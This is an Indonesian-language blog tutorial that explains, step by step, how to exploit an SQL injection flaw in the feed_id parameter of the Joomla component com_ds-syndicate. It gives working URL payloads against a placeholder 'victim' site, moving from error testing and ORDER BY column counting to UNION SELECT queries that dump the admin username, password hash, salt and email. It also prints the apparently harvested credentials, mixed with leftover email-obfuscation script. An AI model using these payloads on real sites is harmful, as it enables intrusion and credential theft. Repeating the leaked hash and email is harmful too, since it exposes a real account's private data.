Apa jadinya jika admin malas mengupdate webnya? Apa jadinya jika
admin tidak memperhatikan security risk yang ada? Apa jadinya jika ‘the
choosen one’ ternyata seorang admin yang tidak tahu sama sekali mengenai
system keamanan sebuah data? Ironi memang. Bahkan terkadang ada admin
yang meremehkan system keamanan. Apa jadinya jika server anda memiliki
konfigurasi default? Apa jadinya, apa jadinya? Dan segudang akibat dari
hasil penggabungan dua kata tersebut. Yang terjadi adalah peluang
seorang attacker untuk menyusup ke dalam website anda semakin
memungkinkan, mengobrak-abrik server anda, bahkan tidak jarang seorang
attacker mengambil profit dari exploitasi system yang ada. Dalam
berbagai hal, termasuk mendulang dollar dengan cara tidak halal. Seperti
yang dilakukan oleh para carder.
Penulis akan menjelaskan betapa mudahnya sebuah web dieksploitasi
hanya dengan bermodalkan internet dan browser internet tentunya, dan
sedikit pengetahuan sql query. Perlu penulis jelaskan, penulis hanyalah
seorang manusia biasa yang memiliki pengetahuan minimal dari sistem
keamanan data.
Ya, belum lama ini, salah satu component joomla terbukti mengidap
penyakit berbahaya, tumor ganas yang akan menjalar keseluruh tubuh, dan
berakibat kematian pada akhirnya. ~~
Telah ditemukan bug sql injection pada com_ds-syndicate, ini adalah
salah satu contoh dari sekian banyak bug fatal yang terdapat dalam
joomla. Waspadalah! Kesalahan terjadi karena komponen ini tidak
menyediakan filtering sql yang ketat dalam variable feed_id. Penyusupan
dapat dilakukan, sederhananya ini terjadi karena kesalahan dari variable
feed_id. Dan saat menulis artikel ini ada beberapa site masih memiliki
kecacatan seperti ini.
Ya, Langsung aja …
http:// korban.com/index2.php?option=ds-syndicate&version=1&feed_id=1
Url ini menampilkan feeds seperti biasanya, tapi beda halnya jika kita
tes kelemahannya, dengan penambahan tanda kutip ( ‘ ) di belakangnya.
http:// korban.com/index2.php?option=ds-syndicate&version=1&feed_id=1′
Apa yang terjadi ? … error…
Langkah selanjutnya adalah cari urutan si table ‘dssyndicate_feeds’
dengan mendapatkan bentuk error yang sama, dan berhenti ketika
mendapatkan error yang berbeda :
index2.php?option=ds-syndicate&version=1&feed_id=1+order+by+1/* –> errornya sama
index2.php?option=ds-syndicate&version=1&feed_id=1+order+by+2/* –> errornya sama
index2.php?option=ds-syndicate&version=1&feed_id=1+order+by+3/* –> errornya sama
index2.php?option=ds-syndicate&version=1&feed_id=1+order+by+4/* –> errornya sama
index2.php?option=ds-syndicate&version=1&feed_id=1+order+by+20/* –> errornya sama
…
index2.php?option=ds-syndicate&version=1&feed_id=1+order+by+21/* –> errornya berbeda
perhatikan bentuk error-nya berbeda ketika feed_id yang diisi dengan
1+order+by+21/*, ini adalah patokan untuk melakukan injeksi sql yang
selanjutnya.
Langkah selanjutnya adalah penggunaan union, lebih jelasnya mengenai fungsi union, silahkan baca di sini.
Selanjutnya kita test, apakah fungsi union dapat berjalan pada url korban.
index2.php?option=ds-syndicate&version=1&feed_id=1+union+all+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,
15,16,17,18,19,20+from+wc_users
lihat paling akhir dari baris tersebut,
from+wc_users
wc_users adalah nama table yang diambil dari struktur database joomla. Berisi mengenai informasi login user.
Sedangkan 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 ini diperoleh berdasarkan yang telah penulis jelaskan sebelumnya.
Ya setelah url di atas di enter, yang perlu dilakukan adalah mendownload file tersebut,
Setelah itu buka file yang baru didownload tersebut dengan editor
seperti notepad, walaupun filenya xml, tapi penulis tetap menyarankan
untuk membukanya dengan notepad, tidak dengan browser internet, karena
memudahkan untuk pembacaan hasil dari sql injection yang telah
dilakukan.
Lihat angka 2 di dalam tag <title> :
<title>2 (18)</title>
Jangan pedulikan angka (18) di belakangnya, yang perlu diperhatikan
adalah angka 2-nya. Ini berarti berdasarkan hasil query union
menggunakan browser tadi, anda dapat menggunakan angka 2 tersebut untuk
keperluan selanjutnya. Seperti mengganti angka 2 dengan kumpulan
karakter lain untuk menggunakannya seperti melihat versi mysql yang
digunakan, ya langsung saja, kita akan mencobanya untuk melihat versi
mysql yang digunakan oleh si korban. Gunakan url ini …
http://korban.com/hack/joomla/index2.php?option=ds-syndicate&version=1&feed_id=1+union+all+select+1,
@@version,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20+from
+wc_users
perhatikan angka 2 diganti dengan kalimat @@version, enter, kemudian
buka kembali file telah di download dengan notepad, apa yang terjadi ?
title berubah menjadi versi si mysql, yang penulis dapatkan :
<title>5.0.33 (18)</title>
Mysql versi 5.0.33
, sampai sini anda telah dapat eksplorasi database user dengan leluasa.
Apa yang dilakukan seorang attacker selanjutnya ? ya, mendapatkan
username dan password si admin. .
Pengambilan username dan password secara paksa menggunakan sql
injection ini dapat dilakukan secara satu persatu, ataupun sekaligus.
Query untuk menampilkan username menggunakan bug sql injection yang satu
ini, anda cukup mengganti @@version yang tadi dengan field yang
menyimpan informasi username tentunya, gunakan url ini :
http://korban.com/hack/joomla/index2.php?option=ds-syndicate&version=1&feed_id=1+union+all+select+1,
username,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20+from+wc_users
jalankan url, download filenya, kemudian buka kembali dengan notepad. Hasilnya adalah username dari database tersebut …
<title>admin (18)</title>
Atau bisa juga ditampilkan informasi username, password, email, dan user_type sekaligus, gunakan url seperti ini :
http://korban.com/hack/joomla/index2.php?option=ds-syndicate&version=1&feed_id=1+union+all+select+1,
concat(username,0x3a,password,0x3a,email,0x3a,usertype),3,
4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20+from+wc_users
perhatikan, string username, diganti dengan
concat(username,0x3a,password,0x3a,email,0x3a,usertype), penggunaan
concat disini adalah mengconvert suatu hexa, ataupun spesial karakter
kedalam bentuk ascii, sehingga, yang terjadi nantinya adalah :
0x3a berubah menjadi titik dua ( : ), buka kembali file hasil dari
url di atas. Yang penulis dapatkan adalah informasi seperti ini :
admin:bd3ca378488e00055d5b23df1252e443:EbnV8pXgTqIgApjK: // <![CDATA[// <![CDATA[
var prefix = 'ma' + 'il' + 'to';
var path = 'hr' + 'ef' + '=';
var addy73597 = 'alkemail' + '@';
addy73597 = addy73597 + 'gmail' + '.' + 'com';
document.write( '' );
document.write( addy73597 );
document.write( '' );
//\n
// -->]]>alkemail@gmail.com//
<![CDATA[// This e-mail address is being protected from spambots,
you need JavaScript enabled to view it // <![CDATA[// <![CDATA[
document.write( '' );
// ]]>:Super Administrator
Jika di urutkan :
Username : admin
Password ( hash ) : bd3ca378488e00055d5b23df1252e443:EbnV8pXgTqIgApjK
Email : // <![CDATA[// <![CDATA[
var prefix = 'ma' + 'il' + 'to';
var path = 'hr' + 'ef' + '=';
var addy1906 = 'alkemail' + '@';
addy1906 = addy1906 + 'gmail' + '.' + 'com';
document.write( '' );
document.write( addy1906 );
document.write( '' );
//\n
// -->]]>alkemail@gmail.com//
<![CDATA[// This e-mail address is being protected from spambots,
you need JavaScript enabled to view it // <![CDATA[// <![CDATA[
document.write( '' );
// ]]> |